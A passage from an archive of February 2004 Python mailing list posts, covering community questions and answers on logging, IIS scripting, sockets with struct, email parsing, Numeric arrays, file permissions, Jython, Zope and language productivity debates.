make it easy for people to perform it themselves.  Fingerprints are
the best way to do that, in my opinion.

Anyways, that sums up that paper, you can skip it now :-)...


> 
> > http://www.waterken.com/dev/YURL/
> > http://zooko.com/distnames.html
> 
> I'm presuming these are along similar lines as the first.

I think they share a theme, at least, which is the power of cutting
out the middleman and using cryptographic identifiers directly.


Trevor


From fuka at fuxoft.cz  Fri Feb 20 15:45:43 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Fri, 20 Feb 2004 21:45:43 +0100
Subject: [logging] problems in Python 2.3
Message-ID: <c15rkc$2ea5$1@ns.felk.cvut.cz>

I am using the standard "logging" module included with Python and it 
seems it doesn't correctly identify the filename (and thus module name) 
from where the logging method was called. In fact, no matter from which 
module I call the logging method, the resulting log says that the 
filename of the caller is:

\tmp\python.2664\usr\lib\python2.3\logging\__init__.py

(this seems to me like a reference to the logging module itself combined 
with some sort of weird temporary storage)

This happens on my Windows98 machine both under Cygwin and under Windows 
Python (both of them 2.3). When I try the exact same script on the Linux 
server with Python 2.2 installed, it displays the filenames correctly.

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From jcosby at nospam.net  Mon Feb 23 18:05:42 2004
From: jcosby at nospam.net (Jon Cosby)
Date: Mon, 23 Feb 2004 23:05:42 GMT
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
Message-ID: <aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>

"Peter Hansen" <peter at engcorp.com> wrote

> Jon Cosby wrote:
> >
> > "Peter Hansen" <peter at engcorp.com> wrote
> > > Without more detail, I doubt anyone can help much more.
> >
> > I get the same line with all of my scripts, nothing else.
>
> Please go back and reread the previous sentence again.  If you won't
> provide some context, you won't likely get helpful answers.
>
> I'll try again: *what* is giving you that error message?  Some program
> prints it, somewhere.  Is it in a log file?  Printed to the console?
> In a popup dialog box?  On the browser screen?  What exact command did you
> type just before you saw that error.  Have you installed Python?
> What version?  etc etc etc...
>

Sorry. It's in the browser window. The script does not execute. I have "Show
friendly http error messages" set to false in Internet Explorer. As it
happens on all of the scripts, I can't single out one command. I have
ActiveState's build of Python 2.3, and don't recall running into this
previously, but there might be something in the IIS configuration I'm
overlooking.

Jon




From ptmcg at users.sourceforge.net  Wed Feb 18 15:19:28 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Wed, 18 Feb 2004 20:19:28 GMT
Subject: socket send query
References: <69fe7511.0402181012.3187517f@posting.google.com>
Message-ID: <kNPYb.9425$jl.4793@fe2.texas.rr.com>

"connections cardiff" <sb at networkdata.co.uk> wrote in message
news:69fe7511.0402181012.3187517f at posting.google.com...
> hi all,
>
> i want to mimic what another software program sends to a server.
>
> if i look with a sniffer i can see the hex data that is being sent by
> the real software program.
>
> how can i send such data?
>
> if i send the hex data values with a socket send then python assumes i
> am trying to send a string of ascii characters and when i look at what
> was sent in the sniffer i see the data i sent has been coverted into
> their corresponding hex values.  I want python to leave it alone and
> send it.
>
> i guess if my hex values had acsii equivalents i could send them and
> they would be converted to the data i want but i dont think all my hex
> data has acsii equivalents..
>
> is there another way i should be doing this?
>
> PS.  IN CASE YOU DIDNT NOTICE I AM A NEWBIE!
>
> many thanks
>
> s
The struct module may be of help to you.  Write up how your data packet
would look as a C struct, create the corresponding struct format string (see
the struct docs), then use the pack() and unpack() methods to convert your
Python data to and from the raw binary data form.

-- Paul




From paul at prescod.net  Wed Feb  4 05:34:40 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 04 Feb 2004 02:34:40 -0800
Subject: What's the matter with pydoc.org?
In-Reply-To: <bvobds$utrr2$1@ID-95936.news.uni-berlin.de>
References: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>	<bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>
	<bvobds$utrr2$1@ID-95936.news.uni-berlin.de>
Message-ID: <4020CAC0.7000506@prescod.net>

Lars Behrens wrote:

> Diez B. Roggisch wrote:
> 
>>> Can someone please check if pydoc.org works ok? I see only strange
>>> stuff...
>>>
>>> Is that link ok?
>>>
>>> http://pydoc.org/

It is probably a server misconfiguration. Ka-Ping Yee is the inventor of 
Python's pydoc and has run a server for it. Either he accidentally 
copied the wrong index.html to the wrong virtual server or he decided he 
couldn't afford the bandwidth anymore.

  Paul





From tjreedy at udel.edu  Wed Feb 18 16:41:10 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 18 Feb 2004 16:41:10 -0500
Subject: Python Virtual Machine Reference
References: <TKOYb.2538$Po1.1716@twister.tampabay.rr.com>
Message-ID: <CeKdnTWjFLNoRq7dRVn-hQ@comcast.com>


"Kevin Albrecht" <kevin at albrecht.net> wrote in message
news:TKOYb.2538$Po1.1716 at twister.tampabay.rr.com...
> Fellow Pythonites,
>
> I am trying to find a reference on the design and structure
> of the Python Virtual Machine, but I can't seem to find one
> anywhere.  In particular, I am looking for a list of all the
> instructions in the Python VM's "assembly language".

Lib Ref 18.10.1 Python Byte Code Instructions (doc for dis module)
for more, see source code (ceval.c, I believe, has main vm loop).
Both are subject to change with each release.

Terry J. Reedy




From claird at lairds.com  Fri Feb 27 22:54:49 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 28 Feb 2004 03:54:49 -0000
Subject: XML best practices (was: Python as replacement for PHP?)
References: <403fa54b@news.zianet.com>
	<mailman.218.1077916834.8594.python-list@python.org>
	<30260531.0402271901.1bbdda99@posting.google.com>
Message-ID: <1040489b2ookafd@corp.supernews.com>

In article <30260531.0402271901.1bbdda99 at posting.google.com>,
simo <simoninusa2001 at yahoo.co.uk> wrote:
			.
			.
			.
>Perl - bloody fast, if you're doing lots of text processing/regex
>(e.g. XML parsing) then Perl is it, probably best for sysadmin tasks
>too. We use this for large reports at work. I love its hash handling
			.
			.
			.
Let me get this straight:  your preferred vehicle for XML
parsing is Perl regular expressions?  That's ... well, it's
a different impression than I've ever gained from anyone
else with deep XML experience.  It's sure not my first
instinct.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From thoaan at stud.cs.uit.no  Tue Feb 17 04:28:07 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Tue, 17 Feb 2004 10:28:07 +0100
Subject: Retrieving classes from a module...
Message-ID: <c0smr7$2gmr$1@news.uit.no>

How can I get the names of the classes in a specific module? (I don't need
the subclasses or superclasses)

Thomas




From ajsiegel at optonline.com  Sat Feb 14 09:04:14 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sat, 14 Feb 2004 14:04:14 GMT
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org>
	<pusq20ha5tete3i14joul1j6oomq5tag1t@4ax.com>
	<i0j0g1-7vr.ln1@jowls.lairds.org>
Message-ID: <pl8s20te9rai9u976tqtebteo5mfndpang@4ax.com>

On Sat, 14 Feb 2004 04:11:56 GMT, Kyler Laird <Kyler at news.Lairds.org>
wrote:

>Arthur <ajsiegel at optonline.com> writes:
>
>>My effort to give it realization is PyGeo
>
>>http://pw1.netcom.com/~ajs
>
>>which uses VPython  for 3d rendering - which I think deserves mention
>>on your list particularly because of its facility at the interactive
>>prompt.
>
>I like it.  I hope it becomes a Debian package soon.
>
>>One concrete thing I think would help spread the gospel as to Python's
>>usefulness in this area is a LiveCD - Knoppix based, let's say - that
>>would come pre-configured with a good amount of  this good stuff. 
>
>I'm quite dependent on Knoppix/Morphix these days.  I appreciate
>what they allow.

The Morphix concept is wonderful.  In lieu of a full-fledged LiveCD of
Python related visualization tools, would be a base Morphix
distribution of some of the key enabling infrastructure tools - let's
say wxPython, Numeric, pyOpenGL, pygame.  And hopefully people will
morph from there as to their specific needs.  I'll get to it,
eventually.

>
>>Getting up and running with some of these tools can otherwise be a
>>chore that one cannot expect the merely curious to undertake.
>
>I need even more than that right now.  I'd like to be able to run
>tools on the MS Windows-based computers that litter the classrooms
>on campus.  That leaves me to either use pure Web-based apps like I
>usually make or perhaps Java applets.

As much as I believe Linux should be encouraged as the preferred
educational platfrom - for a number of reasons - I agree that it is
foolhardy to be reliigious on the issue.  The fact is that my own
day-today  desktop is Windows, and I have tried to see to it that some
key tools in the category you describe are available as easy Windows
installs

http://pw1.netcom.com/~ajs/download/

This "service" tends to be of particular relevance shortly after a
major Python release.

>I haven't done anything with Jython in a long time but I was
>hoping to experiment with it again for building applets.  That
>would make it easy to deliver some simple interactive apps.

Yeah but...

Perhaps good for demos.  But in the area in which I am most interested
- geometyry - I find interactive applets tend to be a bit glib - if
that word makes sense in this context - and don't provide an avenue
for the kind of involvment that scripting does.  Unless what it is we
are doing is providing the student with the tools to be the creators
of the applets.

>
>I'm also hoping to figure out a good way to integrate SSH and VNC
>into a Java applet so that I can easily use a browser to run apps
>on a better platform.  That'll give me a lot more flexibility to
>run things that Jython won't.

Don't understand. 

>
>A Knoppix-like solution doesn't work at all in many cases (locked
>BIOS) and is clumsy in others (where the instructor presents using
>PowerPoint).  I think it would be a *great* thing to give to
>people who do control their presentation systems though.  

Wouldn't it be.

> I can easily imagine a compelling demonstration to high school teachers
>followed by "Oh, and here's a CD you can use to do all of this.
>Grab one on your way out the door and feel free to make copies
>for your students and colleagues.  No salesmen/lawyers will call."
>*That* could be very exciting.

And with Morphix, see how easy it might be to add you own matter to
the existing matter,

>
>--kyler



From kdahlhaus at yahoo.com  Fri Feb 13 15:22:05 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 13 Feb 2004 12:22:05 -0800
Subject: jython import
Message-ID: <283adf56.0402131222.fd998c0@posting.google.com>

Been digging and could not find the answer to this.
I'd be very grateful if someone could help.

I can't import a class from a packackge that is nested:
--
import sys
sys.path.append("hsqldb.jar")
import org.hsqldb

print dir(org.hsqldb)
v = org.hsqldb.View()
--
The output is a the dir listing of hsqldb, including View, and the
following error:

File "test.py", line 6, in ?
AttributeError: java package 'org.hsqldb' has no attribute 'View'
Signal 127

51 /testing:


Any idea why this fails?  I saw other people with the same problem,
but no reasons or ideas as to how to fix.


From dw-google.com at botanicus.net  Fri Feb 13 19:35:53 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: Sat, 14 Feb 2004 00:35:53 +0000
Subject: re.sub replacement text \-escapes woe
In-Reply-To: <yfsznbmh7sn.fsf@black132.ex.ac.uk>
References: <yfsznbmh7sn.fsf@black132.ex.ac.uk>
Message-ID: <402d6d6f$0$10343$ed9e5944@reading.news.pipex.net>

Alexander Schmolck wrote:
> Sorry if I missed something obvious, but how do you do this more
> intelligently?
> 
> def escape(s):
>     return re.sub(r'([${}\\])', r'\ \1', s).replace('\\ ', '\\')
> 

re.escape? :)


David



From Holger.Joukl at LBBW.de  Thu Feb 19 11:00:17 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Thu, 19 Feb 2004 17:00:17 +0100
Subject: hmm,
	lets call it: generic __init__  problem ['LBBW': checked]
Message-ID: <OF650FED01.D5ED4D59-ONC1256E3F.0057C2E3@lbbw.sko.de>

I just started out with python 2.3, so I might be totally wrong,
but does this work?

>>> class one(object):
...     def __init__(self, *args, **kwargs):
...             super(self.__class__, self).__init__()
...
>>> one()
<__main__.one object at 0x1dd190>
_________________________________

Holger Joukl
Landesbank Baden-W?rttemberg
1651 Financial Markets Technologies
fon +49 (711) 124 - 7078
fax +49 (711) 124 - 3759
_________________________________

__________________


Michele Simionato wrote:
> This is probably not what you want:
It's not about importing attributes rather than having only one
definition of __init__ in one "metaclass" wich should behave differently
  dependent on the name of the subclass (see my answer to Peter). I
found out I have to read lots of stuff to catch up with concepts of
new-style classes and metaclass design.

  The solution using super() like Peter suggested is almost perfect
except the name of the class is still hardcoded inside of __init__.

one(object):
   def __init__(self, *args, **kwargs):
     super(one, self).__init__()
           ^^^^
     r = self.s.get_obj(ldap.schema.ObjectClass, self.__class__.__name__)
     ...process r...

implies to write another __init__ for every subclass, since "one" wouldn
't match the subclass's name right? Instead of "one" I'd like to have
something that get's the current class at instantiation time. Is that
possible ?

thanks a lot for all your time and help.
  Paul
--
 http://mail.python.org/mailman/listinfo/python-list

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From sigurd at 12move.de  Sun Feb  8 12:09:22 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Sun, 08 Feb 2004 18:09:22 +0100
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
Message-ID: <m365ehplku.fsf@hamster.pflaesterer.de>

On  8 Feb 2004, robsom <- no.mail at no.mail.it wrote:

> 47.455677 456.67
> 47.4558 453.8
> 47.46789 -9999
> 47.4567 456

> where -9999 (or somethinbg similar) indicates there is a blank, one space
> divides the columns and the elements can have a different number of
> digits. This is of course a worst-case scenario :)
> That is why I used split in the beginning, but then I fall into the other
> problem, when there is a missing value.

I still can't see the problem sorry; if the columns are always separated
by space you can split them with:

>>> s = StringIO.StringIO("""47.455677 456.67
... 47.4558 453.8
... 47.46789 -9999
... 47.4567 456""")
>>> for line in s:
...     print ','.join(map(lambda dat: dat != '-9999' and dat or '', line.split()))
... 
47.455677,456.67
47.4558,453.8
47.46789,
47.4567,456
>>> 
##or
>>> for line in s:
...     print ','.join(map(lambda dat: dat != '-9999' and dat or 'MISSING', line.split()))
... 
47.455677,456.67
47.4558,453.8
47.46789,MISSING
47.4567,456
>>> 


I used here your -9999 as value of a mssing item.  Before you map that
function across the splitted line you culd check for the correct
length to see if you have e.g. like here always two coulmns.  If the
length differs it depends if it's possible to find programmatically the
missing column and just insert a space or something other.



   KP

-- 
 `Beware the Jabberwock, my son!
     The jaws that bite, the claws that catch!
  Beware the Jubjub bird, and shun
    The frumious Bandersnatch!'   "Lewis Carroll" "Jabberwocky"


From claird at lairds.com  Fri Feb 27 22:49:03 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 28 Feb 2004 03:49:03 -0000
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<mailman.221.1077919048.8594.python-list@python.org>
	<c1oio8$rfc$1@solaris.cc.vt.edu>
Message-ID: <10403tficjbs23b@corp.supernews.com>

In article <c1oio8$rfc$1 at solaris.cc.vt.edu>,
Bart Nessux  <bart_nessux at hotmail.com> wrote:
			.
			.
			.
>Sorry, I disagree. As a business decision, it does border on stupidity. Why
>contemplate doing something with Python that would be tedious and difficult
>at best when PHP can do this task easily and quickly??? From a business
>(read practical point of view) it's stupid. From a religious (Mac fanatic
>like point of view), it makes sense.
>
>The OP spoke of a DB driven dynamic Web site. One cannot think of such a
>thing without naturally thinking of PHP... python should not even come to
>mind for this task. Backend/server-side processing, sure, but not on the
>frontend. Use the RIGHT tool for the job. Python isn't the right tool here.

Shall we get out our dueling authorities?  AOL thinks
AOLserver is ideal for database-backed Web pages.  NATO,
Viacom, and the AARP use Zope.  IMDB uses mod_perl.  And
so on.  It's more than I can handle to believe that all
of these developments were tedious and difficult, and
would all have been easy and quick if only switched to
PHP.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From gandreou at unipi.gr  Thu Feb  5 12:13:45 2004
From: gandreou at unipi.gr (Andreou Giannis)
Date: Thu, 05 Feb 2004 19:13:45 +0200
Subject: building C modules in windows + Python 2.3 + cygwin
Message-ID: <402279C9.90BC8B8C@unipi.gr>

Allthough it is possible to build modules in Python2.3.3 and distutils
with cygwin,
by running:
    setup.py build --compiler=cygwin
(after i created the libpython23.a)
running:
    setup.py install
afterwards, complains about not building with msvs v.6,
since my Python distribution is built with it.

Since previous Python releases for windows allowed install of modules
that were built with different compilers then that of the current
distribution, with was this feature removed from distutils in Python
version 2.3?


Is there a workaround for this problem?
Can i simply copy the module file in the proper directory?
I do not want to install VS ver.6.

Thank you.




From ggg at zzz.it  Mon Feb 23 09:50:07 2004
From: ggg at zzz.it (deelan)
Date: Mon, 23 Feb 2004 15:50:07 +0100
Subject: Help on Email Parsing
In-Reply-To: <mailman.190.1077526040.27104.python-list@python.org>
References: <mailman.190.1077526040.27104.python-list@python.org>
Message-ID: <7v8d1c.l7o.ln@news1.interplanet.it>

dont bother wrote:

> Hey,
> I have been trying to parse emails:
> But I could not find any examples or snippets of
> parsing emails in python from the documentation.
> Google did not help me much too.
> I am trying to understand the module 'email' and the
> functions described there to parse email but seems
> difficult.
> Can anyone help me in locating some pointers or
> snippets on this issue.

this script will extract one or more images
from an email message given as argument

hope this helps.



"""Extracts all images from given rfc822-compliant email message.
A quick hack by deelan

python extract.py filename
"""

# good MIME's
mimes = 'image/gif', 'image/jpeg', 'image/png'

import email

def main(filename):
     f = file(filename, 'r')
     m = email.message_from_file(f)
     f.close()

     # loop thru message body and look for JPEG, GIF and PNG images
     images = [(part.get_filename(), part.get_payload(decode=True))
               for part in m.get_payload() if part.get_type() in mimes]

     for name, data in images:
         print 'writing', name, '...'
         f = file(name, 'wb')
         f.write(data)
         f.close()

     print 'done %d image(s).' % len(images)

if __name__ == '__main__':
     import sys
     if len(sys.argv) > 1:
         main(sys.argv[1])
     else:
         print __doc__



-- 
@prefix foaf: <http://xmlns.com/foaf/0.1/> .
<#me> a foaf:Person ; foaf:nick "deelan" ;
foaf:weblog <http://www.deelan.com/> .


From stephendotboulet at motorola_._com  Thu Feb  5 11:56:44 2004
From: stephendotboulet at motorola_._com (Stephen Boulet)
Date: Thu, 05 Feb 2004 10:56:44 -0600
Subject: Long list to numeric multi-D array
Message-ID: <bvtsnm$r1b$1@newshost.mot.com>

I have a long list of floats (1613808 elements long). It takes quite a 
while to load this into a 7 dimensional Numeric array.

Is there any obvious way to speed this up?

def insertData(self,data):

     # Start off with an array of the desired size
     # "self.MEASURED", etc., are integers
     arrayData = zeros([self.MEASURED, self.SWEPT, \
       self.TEMPS,self.DCS, self.IVS, self.UUTS,   \
       self.DUTS], Float64)

     i = 0

     for device in range(self.DUTS):
         for unit in range(self.UUTS):
             for iv in range(self.IVS):
                 for dc in range(self.DCS):
                     for temp in range(self.TEMPS):
                         for swept in range(self.SWEPT):
                             for measured in range(self.MEASURED):
 
arrayData[measured][swept][temp][dc][iv][unit][device] = bigList[i]
                                 i += 1
     return arrayData

Stephen


From mir4uu at yahoo.com  Wed Feb 11 11:32:01 2004
From: mir4uu at yahoo.com (mir nazim)
Date: 11 Feb 2004 08:32:01 -0800
Subject: XUL+webware
Message-ID: <425cc8d1.0402110832.44be155e@posting.google.com>

hi,
i am doing a web based project for my client and want to use XUL for it.
now i wanted to know that how it will be generating XUL instead of
HTML with webware. what effect will it have on my execution time, design etc etc.

moreover, has any one done such type of a project. Please let me know.
further, any tool available for easing such type oof work.


From garry at research.att.com  Wed Feb 11 10:42:35 2004
From: garry at research.att.com (Garry Hodgson)
Date: Wed, 11 Feb 2004 15:42:35 GMT
Subject: help! multi-threading problem on hyperthreading smp linux
	server
In-Reply-To: <c0c6u5$8bd$1@panix2.panix.com>
References: <c0c6u5$8bd$1@panix2.panix.com>
Message-ID: <2004021110421076514154@k2.sage.att.com>

aahz at pythoncraft.com (Aahz) wrote:

> What version of Python?

2.2.2, on all machines but the windows one, which runs 2.3.

> What happens if you enable both CPUs without
> hyperthreading?  

same thing.  it fails on the one machine, works on the rest,
including another (older) dual processor machine running 
linux smp kernel.

> What happens if you only start ten threads (fifty
> threads isn't huge, but it's definitely large)?

same thing.  works fine for 1 thread :-).

> Have you applied all relevant OS patches and/or tried upgrading to a
> newer kernel?

it's looking like this may be the problem, since the machine it fails on
is running the oldest linux kernel of all of them.  all are 2.4.20's, but 
with different minor release numbers.

> Can you test the production system (or an equivalent) with
> Windows?  

nope.  we do have another machine that's identical hardware, 
though with slightly newer kernel patches.  we intend to test
on that tomorrow, during a maintenance window (that's a 
production machine).

> What happens if you run an equivalent test using C code?

C?  yuk!

----
Garry Hodgson, Technology Consultant, AT&T Labs

Be happy for this moment.
This moment is your life.



From michael at foord.net  Fri Feb 13 10:55:51 2004
From: michael at foord.net (Fuzzyman)
Date: 13 Feb 2004 07:55:51 -0800
Subject: Understanding CHMOD
References: <8089854e.0402130055.35ed927f@posting.google.com>
	<402CB8B3.6070809@draigBrady.com>
Message-ID: <8089854e.0402130755.3888fc54@posting.google.com>

[snip..]
> 
> These are the basic access permissions.
> 
> S_IRGRP
> S_IROTH
> S_IRUSR
> 
> S_IWGRP
> S_IWOTH
> S_IWUSR
> 
> S_IXGRP
> S_IXOTH
> S_IXUSR
> 
> There are some shortcut (confusing IMHO) entries:
> 
> S_IEXEC  = S_IXUSR
> S_IWRITE = S_IWUSR
> S_IREAD  = S_IRUSR
> 
> S_IRWXG  = stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP
> S_IRWXO  = stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
> S_IRWXU  = stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR
> 
> The rest are "extended" attribute bits
> and file type bits.
> 
> Here's a simplified ls access listing in python:
> 
> #!/usr/bin/env python
> 
> import sys
> import stat
> import os
> 
> filename=sys.argv[1]
> mode=stat.S_IMODE(os.lstat(filename)[stat.ST_MODE])
> perms="-"
> for who in "USR", "GRP", "OTH":
>      for what in "R", "W", "X":
>          if mode & getattr(stat,"S_I"+what+who):
>              perms=perms+what.lower()
>          else:
>              perms=perms+"-"
> print perms + " " + filename

Thanks for your help !
I always find it slightly surprising when I get a reply that actually
answers the question ;-)

Fuzzy

http://www.voidspace.org.uk/atlantibots/pyhtonutils.html


From doug.fort at verizon.net  Mon Feb  9 13:52:10 2004
From: doug.fort at verizon.net (Doug Fort)
Date: Mon, 09 Feb 2004 18:52:10 GMT
Subject: Allowing non-ASCII identifiers (Fran?ois Pinard)
Message-ID: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>

This is an excerpt from a much longer post on the python-dev mailing list.
I'm responding here, to avoid cluttering up python-dev.

[Fran?ois Pinard]
<snip>
>Some English readers might not really imagine, but it is a constant
>misery, having to mangle identifiers while documenting and thinking
>in languages other than English, merely because the Python notion of
>letter is limited to the English subset.  Granted, keywords and standard
>library use English, this is Python, and this is not at stake here!
>However, there is a good part of code in local (or in-house) programs
>which is thought as our crafted code, and even the linguistic change is
>useful (to us) for segregating between what comes from the language and
>what comes from us.  The idea is extremely appealing of being able to
>craft and polish our code (comments, strings, identifiers) to make it as
<nice as it could get, while thinking in our native, natural language.
>-- 
>Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard
</snip>

Monglot English speakers, like me, might also benefit from reading
well-crafted Python code with non-english identifiers and comments.  I learn
best by anchoring new ideas in a familiar context.

One of my (non-programmer) friends is improving his French by working
through the French versions of the Harry Potter novels.




From theller at python.net  Thu Feb  5 13:00:48 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 05 Feb 2004 19:00:48 +0100
Subject: ANNOUNCE: MyHDL 0.4
References: <40227A13.101@jandecaluwe.com>
Message-ID: <4qu5be3z.fsf@python.net>

Jan Decaluwe <jan at jandecaluwe.com> writes:

> I am happy to announce the release of MyHDL 0.4.  MyHDL is a Python
> package for using Python as a hardware description & verification
> language.
>
> MyHDL 0.4 supports the automatic conversion of a subset of MyHDL code
> to synthesizable Verilog code.

Very cool, but do you intend to add VHDL generation at some time?

Although it seems it would be better I had learned verilog instead.

Thomas


From mhearne808 at yahoo.com  Tue Feb 24 13:54:45 2004
From: mhearne808 at yahoo.com (Mike Hearne)
Date: 24 Feb 2004 10:54:45 -0800
Subject: Regular expressions help
Message-ID: <6af33541.0402241054.77ae5c61@posting.google.com>

Given the following three lines:

name fredgeorge
name georgeharry
name george

I'm trying to find a regular expression that matches only the third
one.

My book resources are pretty skimpy when it comes to regular
expressions, and the stuff on the web I've found doesn't cover this
circumstance, and I can't figure out how to extrapolate from what is
described to my problem.

Can anyone help?

Thanks!


From paul at prescod.net  Tue Feb 17 15:29:44 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 17 Feb 2004 12:29:44 -0800
Subject: Python Productivity Gain?
In-Reply-To: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <403279B8.4050001@prescod.net>

kbass wrote:

> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.

The problem is always: how do you measure/judge this?

Are you going to get the SAME PROGRAMMERS to solve the same problem 
twice? If so, the second language will have a big advantage. Are you 
going to get different programmers? How do you know they are the same skill?

Also: productivity for what? If your Java code is a little bit of glue 
around some pre-existing EJBs then it may have an advantage. If you are 
using Python and Pyrex to wrap C code, then Python will certainly have 
an advantage.

Most Python programmers are speaking about their personal productivity 
gain measured based on "feel". It is possible to do a more formal study 
(dozens of programmers given a variety of tasks) but it would be quite 
expensive. What unbiased source is going to pay for it.

  Paul Prescod





From no at spam.pls  Fri Feb 20 16:37:59 2004
From: no at spam.pls (Matthias)
Date: 20 Feb 2004 22:37:59 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<40323814.3129EA4B@engcorp.com>
	<ABtZb.12104$PY.8414@newssvr26.news.prodigy.com>
Message-ID: <36wfzd5whxk.fsf@goya02.ti.uni-mannheim.de>

Robin Munn <rmunn at pobox.com> writes:

> Peter Hansen <peter at engcorp.com> wrote:
> > Now all you need are 19 others and we'll have a significant data point.
> > (Signifying what?  That's what I want to know. ;-)
> 
> I would say "Signifying nothing", but that would mean that all this is
> "a tale told by an idiot, full of sound and fury," if you believe the
> Bard. I don't feel furious, and I don't think I'm an idiot, so never
> mind. (Although if you have other opinions on the latter subject, feel
> free *not* to let me know.) <very big grin>
> 
> Anyway -- I started with BASIC at age six. Learned Pascal and C on my
> own. Also learned C++, but never really grokked object-oriented
> [...]

Just in case you guys are interested: A similar thing (people telling
personal stories how they got to language X after having suffered
under languages A, B, and Y) is going on in the Lisp community for a
while.  The project page is http://alu.cliki.net/RtL%20Highlight%20Film

I admit that even if it's not science it's an interesting read. 


From phil.hornby at accutest.co.uk  Mon Feb  2 04:00:48 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 09:00:48 -0000
Subject: Dynamic Linking
Message-ID: <NFBBIBBEGKCGCEGNDLKGEEJMDNAA.phil.hornby@accutest.co.uk>

I am just wondering if anyone has played with dynamically linking to the
pythonXX.dll?? I.e. with the aim of making a version independent extension
module. Is it possible? I.e. have the interfaces stabilised enough I have
heard that at some points functions have changed to macros obviously this
could cause problems...

Anyway if anyone has tried it I would be interested to know how successful
they were as it is something that I was thinking about trying but if people
tell me that it is going to be too problematic I may not...

Thanks...

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)




From maarten at remove_this_ws.tn.tudelft.nl  Thu Feb  5 03:02:55 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Thu, 05 Feb 2004 09:02:55 +0100
Subject: How to slice range of array along a (a-priori unknown) axis?
References: <bvqvvl$8u2$1@news.tudelft.nl>
	<bvr0qa$vku0a$1@ID-111250.news.uni-berlin.de>
Message-ID: <bvstbf$1a8$1@news.tudelft.nl>

> def el_remove_bcells(var, axis):
>     if?axis?==?0:
> return?var[1:-1]
>     else:
>       return eval("var[%s1:-1]" % ":," * axis)

Thanks, that does the trick! I love the fact that you can create commands at
runtime :). I also found a command called swapaxes, which is very fast, so
just in case you're interested, here's another way:

def el_remove_bcells(var, axis):
    swap = swapaxes(var, 0, axis)
    swap = swap[1:-1]
    return swapaxes(swap, 0, axis)

-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From claird at lairds.com  Thu Feb 19 14:28:20 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 19 Feb 2004 19:28:20 -0000
Subject: Nature of Zope...
References: <cd29768.0402180920.35b6aeab@posting.google.com>
	<c12bhs$1bvfgs$1@ID-111250.news.uni-berlin.de>
Message-ID: <103a3ikhec6di7f@corp.supernews.com>

In article <c12bhs$1bvfgs$1 at ID-111250.news.uni-berlin.de>,
Diez B. Roggisch <nospam-deets at web.de> wrote:
>Scott wrote:
			.
			.
			.
>> I'm interested in building deployable apps with administration built
>> into the app itself, not necessarily being administered from within
>> Zope.  For example, I would create an app with its own administrator,
>> its own staff, and its own technicians.  These being completely
			.
			.
			.
>> These users would have certain tasks that they can do based on of
>> course their ownership and security levels (these also being managed
>> by the apps administrator and perspective).  Can these things be
>> controlled outside of Zope?  If I did that would it break the core
>> "point" of Zope?  Can and should I create a means to tie into the
>> ZopeDB from within the app for users and perms or can I store this in
>> a SQL database.  If I create a deployable package and distribute it,
>> let it run, and simply restore my MySQL database in the event of a
>> failure and redeploy my original "Zope Project" after a
>> re-installation, could I be good to go?  Or must I store users,
>> groups, perms, etc in the ZopeDB, or can I put users and their
>> permissions in a SQL DB?
>
